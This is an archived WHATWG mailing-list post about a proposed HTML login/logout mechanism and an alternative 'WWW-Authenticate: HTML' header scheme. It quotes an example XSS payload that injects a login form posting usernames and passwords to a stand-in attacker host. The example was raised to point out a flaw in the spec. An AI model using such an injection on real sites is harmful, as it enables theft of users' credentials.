[whatwg] Solving the login/logout problem in HTML

[Martin Atkins]

Ian Hickson wrote:
> On Wed, 26 Nov 2008, Philip Taylor wrote:
>> If I'm not misunderstanding things, there is a new attack scenario:
>>
>> I post a comment on someone's blog, saying <a 
>> href="/restricted-access.php?xsshole=<form 
>> action=http://hacker.example.com/capture name=login><input 
>> name=username><input name=password></form>">crawl me!</a>
>>
> 
> Hm, this is indeed a problem.
> 
[snip]
> 
> Is there anyone who can volunteer to edit this section as a separate spec?
> 
> I guess I'll remove this section.
> 

I may be forgetting missing some use-cases here (I don't recall what 
exactly motivated this custom auth scheme) but there may still be value 
in a cut-down version of this scheme:

WWW-Authenticate: HTML

which means (roughly) "The HTML document in the body contains something 
that, when displayed in a web browser, will allow the user to log in".

Browsers can then use this authentication scheme in preference to Basic 
or Digest when multiple schemes are offered for a particular resource, 
and servers can simultaneously offer forms-based authentication and 
other authentication schemes at the same endpoint:

HTTP/1.1 401 Unauthorized
Content-type: text/html
WWW-Authenticate: HTML
WWW-Authenticate: Basic realm="my neat site"

<form action="/login" method="POST">
...
</form>

Software that is not a browser (for some suitable definition of 
"browser" -- something along the lines of "user-agent where form-based 
auth is the norm"?) can choose to use Basic authentication here.

The backward-compatibility story here is bad as long as one of the 
offered authentication schemes is known to a downlevel browser. Per my 
basic research posted earlier, other, as-yet-unsupported schemes can be 
offered and the body will be rendered as desired except in Opera.

I guess that this could be generalized to:
WWW-Authenticate: Body

meaning merely "the body contains something that will allow the user to 
log in". Browsers could presumably in this case take into account the 
Content-type when deciding whether to prefer this scheme over the other 
schemes offered, for example choosing Body over Basic only when 
Content-type is text/html.

I concede that once you generalize it in this way it becomes even less 
relevant to the HTML spec than it was to begin with, though I'm not sure 
where else to propose such a thing, and in practice as long as websites 
are primarily HTML login forms presumably will be as well.